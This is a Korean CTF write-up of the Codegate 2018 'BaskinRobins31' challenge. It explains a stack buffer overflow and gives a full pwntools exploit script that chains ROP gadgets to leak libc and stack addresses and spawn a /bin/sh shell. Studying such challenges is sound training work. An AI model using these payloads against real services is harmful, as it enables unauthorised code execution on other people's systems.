Codegate CTF 2018 Qual - BaskinRobins31

  • 2024๋…„ 7์›” 09์ผ
  • 1๋ถ„ ์ฝ๊ธฐ
  • Tags:ย 
  • ctf,ย 
  • pwnable,ย 
  • bof,ย 
  • rop

0x00. Introduction

[*] '/home/user/BaskinRobins31'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Concept

๋ฒ ์Šคํ‚จ๋ผ๋นˆ์Šค ๊ฒŒ์ž„์„ ๊ฑฐ๊พธ๋กœํ•ด์„œ 1~3๊นŒ์ง€์˜ ์ˆซ์ž๋ฅผ ๊ณ ๋ฅด๋ฉด (์ค‘์š”) 31์—์„œ ๋นผ๊ณ , ๋งˆ์ง€๋ง‰ ์ˆซ์ž 0์„ ๋ถ€๋ฅด๋Š” ์‚ฌ๋žŒ์ด ์ง€๋Š” ๊ฒŒ์ž„์„ ๊ตฌํ˜„ํ–ˆ๋‹ค.

0x01. Vulnerability

__int64 __fastcall your_turn(_DWORD *a1)
{
  ...
  char buf[160]; // [rsp+10h] [rbp-B0h] BYREF

  len = read(0, buf, 0x190uLL);
  ...
}

์ทจ์•ฝ์ ์€ ๋‹จ์ˆœํ•˜๊ฒŒ ๋‚ด๊ฐ€ ์ž…๋ ฅ์„ ๋„ฃ๋Š” your_turn()์—์„œ BOF๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

0x02. Exploit

    payload = b"1" + b"A" * 0xaf
    payload += b"B" * 8          # sfp
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(elf.got['write'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    libc = u64(s.recv(1024)[0:6] + b"\x00\x00") - lib.symbols['write']
    system = libc + lib.symbols['execve']
    log.info(f"libc : {hex(libc)}")
    log.info(f"system : {hex(system)}")

BOF๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ˆ ROP๋ฅผ ์ด์šฉํ•ด์„œ libc leak์„ ํ–ˆ๊ณ  execve ์ฃผ์†Œ๊นŒ์ง€๋Š” ์ž˜ ํš๋“ํ–ˆ๋‹ค. ์ฒ˜์Œ์—๋Š” system์˜ ์ฃผ์†Œ๋กœ exploit์„ ์ง„ํ–‰ํ–ˆ๋Š”๋ฐ, stack alignment ๋•Œ๋ฌธ์ธ์ง€ segmentation fault๊ฐ€ ๋ฐœ์ƒํ•ด์„œ execve๋กœ ๋ฐ”๊ฟจ๋”๋‹ˆ ์„ฑ๊ณตํ–ˆ๋‹ค.

๋ฌธ์ œ๋Š” execve์— ์–ด๋–ป๊ฒŒ /bin/sh๋ฅผ ์ „๋‹ฌํ•˜๋А๋ƒ์ธ๋ฐ, libc์—์„œ ์ฐพ์•„์„œ ์ „๋‹ฌํ•ด๋„ ๋˜์ง€๋งŒ environ์„ ์ด์šฉํ•œ stack leak์œผ๋กœ ํ•ด๊ฒฐํ–ˆ๋‹ค.

    payload = b"2" + b"C" * 0xaf
    payload += b"D" * 8
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(libc + lib.symbols['environ'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    environ = u64(s.recv(1024)[1:7] + b"\x00\x00")
    log.info(f"environ : {hex(environ)}")
    log.info(f"binsh : {hex(environ - 0x1d0)}")

์ด๋ ‡๊ฒŒ environ์— ๋‹ด๊ฒจ์žˆ๋Š” stack ์˜์—ญ ์ฃผ์†Œ๋ฅผ ๋ฐ›์•„์™€์„œ buf+0x8๊ณผ์˜ offset ์ฐจ์ด๋ฅผ ๊ณ„์‚ฐํ•œ ํ›„, buf+0x8์— /bin/sh ๋ฌธ์ž์—ด์„ ๋„ฃ์–ด์„œ execve ํ•จ์ˆ˜์˜ ์ธ์ž๋กœ ์ „๋‹ฌํ–ˆ๋‹ค.

    payload = b"3" + b"E" * 7
    payload += b"/bin/sh\x00"                   # buf + 0x8
    payload += b"F" * (0xb0 - len(payload))
    payload += b"G" * 8
    payload += p64(bp['pppr'])
    payload += b"H" * 0x18
    payload += p64(bp['pppr'])
    payload += p64(environ - 0x1d0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(system)
    s.sendline(payload)

    s.interactive()

๊ทธ๋Ÿฐ๋ฐ ๋งˆ์ง€๋ง‰ payload์—์„œ pppr ๊ฐ€์ ฏ์— ๊ฐˆ๋•Œ ์ด์ƒํ•˜๊ฒŒ rsi ๊ฐ’๋งŒ ์ด์ƒํ•ด์ ธ์„œ ์‰˜์ด ์ž๊พธ ์•ˆ๋–ด๋‹ค.

โžœ  0x40097a <your_turn+214>  ret
    โ†ณ   0x40087a <helper+4>       pop    rdi
        0x40087b <helper+5>       pop    rsi
        0x40087c <helper+6>       pop    rdx
        0x40087d <helper+7>       ret
gefโžค  x/4gx $rsp
0x7fffffffe188: 0x000000000040087a      0x00007fffffffe0d8
0x7fffffffe198: 0x00000000fffffffd      0x000000000000000

์ฒ˜์Œ์—๋Š” ๋ญ์ง€ ์‹ถ์–ด์„œ ๊ทธ๋ƒฅ pppr ๊ฐ€์ ฏ์„ ๋‘ ๋ฒˆ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ์œผ๋กœ ํ•ด๊ฒฐํ–ˆ๋Š”๋ฐโ€ฆ

.text:000000000040095D  mov     rax, [rbp+var_B8]
.text:0000000000400964  mov     eax, [rax]
.text:0000000000400966  sub     eax, [rbp+choice]

์•Œ๊ณ ๋ณด๋‹ˆ ๋ฒ ์Šคํ‚จ๋ผ๋นˆ์Šค ๊ฒŒ์ž„์„ ํ•˜๋ฉด์„œ ๋‚ด๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์ด ๊ฐ์†Œํ•˜๋Š” ๊ฒƒ์ด์—ˆ๋‹ค ใ…‹ใ…‹ใ…‹ใ…‹

๊ทธ๋ž˜์„œ ์–ด? ์•ž์—์„œ๋Š” ์™œ ์ž˜ ๋์ง€? ํ•˜๊ณ  ํ™•์ธํ•ด๋ณด๋‹ˆโ€ฆ

write(1, write_got, 8 - 1);
write(1, write_got, 8 - 2);

์•ž์˜ ROP payload์—์„œ๋Š” write์˜ size ์ธ์ž๊ฐ’์—์„œ 1, 2๋งŒํผ ๋น ์กŒ๊ณ , ์ฃผ์†Œ๊ฐ’์ด ์–ด์ฐจํ”ผ 8๋ฐ”์ดํŠธ๋ฅผ ๋‹ค ์•ˆ์“ฐ๋‹ˆ๊นŒ ๊ดœ์ฐฎ์•˜๋˜๊ฑฐ์˜€๋‹ค ใ…‹ใ…‹ใ…‹ใ…‹

Payload๋ฅผ ์ž‘์„ฑํ•  ๋•Œ dummy๋ฅผ ๋‹ค๋ฅด๊ฒŒ ๊ตฌ์„ฑํ•ด์„œ ์–ด๋А payload๊ฐ€ ์ „๋‹ฌ๋œ๊ฑด์ง€ ์•Œ ์ˆ˜ ์žˆ๊ฒŒ๋” ํ•˜๋ ค๊ณ  ํ•œ๊ฑด๋ฐ, ์ด๋Ÿฐ ๋‚˜๋น„ํšจ๊ณผ๊ฐ€ ๋ฐœ์ƒํ•  ์ค„์ด์•ผโ€ฆ

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "BaskinRobins31"
LIBRARY = "libc.so.6"

bp = {
    'main' : 0x0000000000400a4b,
    'end_of_main' : 0x0000000000400b5a,
    'your_turn' : 0x00000000004008a4,
    'end_of_your_turn' : 0x000000000040097a,
    'pppr' : 0x40087a,                          # pop rdi; pop rsi; pop rdx
}

gs = f'''
b *{bp['end_of_your_turn']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recv(1024)

    payload = b"1" + b"A" * 0xaf
    payload += b"B" * 8          # sfp
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(elf.got['write'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    libc = u64(s.recv(1024)[0:6] + b"\x00\x00") - lib.symbols['write']
    system = libc + lib.symbols['execve']
    log.info(f"libc : {hex(libc)}")
    log.info(f"system : {hex(system)}")

    payload = b"2" + b"C" * 0xaf
    payload += b"D" * 8
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(libc + lib.symbols['environ'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    environ = u64(s.recv(1024)[1:7] + b"\x00\x00")
    log.info(f"environ : {hex(environ)}")
    log.info(f"binsh : {hex(environ - 0x1d0)}")

    payload = b"3" + b"E" * 7
    payload += b"/bin/sh\x00"
    payload += b"F" * (0xb0 - len(payload))
    payload += b"G" * 8
    payload += p64(bp['pppr'])
    payload += b"H" * 0x18
    payload += p64(bp['pppr'])
    payload += p64(environ - 0x1d0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(system)
    s.sendline(payload)

    s.interactive()

if __name__=='__main__':
    main()